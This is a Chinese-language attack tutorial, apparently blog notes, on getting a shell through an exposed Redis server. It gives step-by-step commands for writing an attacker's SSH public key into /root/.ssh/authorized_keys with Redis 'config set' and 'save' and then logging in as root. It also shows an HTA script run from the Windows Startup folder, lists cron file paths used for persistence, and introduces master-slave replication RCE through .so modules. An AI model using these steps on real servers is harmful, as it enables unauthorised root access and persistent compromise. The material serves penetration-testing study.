前言

参考文章
https://paper.seebug.org/1169

Redis是什么

Redis是一款基于键值对的NoSQL数据库,它的值支持多种数据结构

常见方法

1、通过向Web目录中写webshell的方式进行getshell

2、通过写SSH key的方式进行getshell

3、通过写corntab的方式进行getshell

SSH Key

linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

第1步:本地生成公钥文件

ssh-keygen–trsa

第2步:将生成的公钥写入到文件中

(echo -e “\n\n\n\n”; cat id_rsa.pub; echo -e “\n\n\n\n”) > pub.txt

第3步:设置路径、文件、写入公钥

config set dir /root/.ssh/
 config set dbfilename “authorized_keys”
 config set 233 “xxxx”
 save

第4步:连接

ssh -i id_rsa root@xxx.xxx.xxx.xxx

计划任务

Windows

在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把这段JS执行 calc 命令的代码写到了该目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

当系统启动时就会随之运行,从而执行攻击者的恶意代码。

linux:corntab

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

/var/spool/cron/用户名
 /var/spool/cron/crontabs/用户名
 /etc/crontab
 /etc/cron.d/xxx

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

主从复制 RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。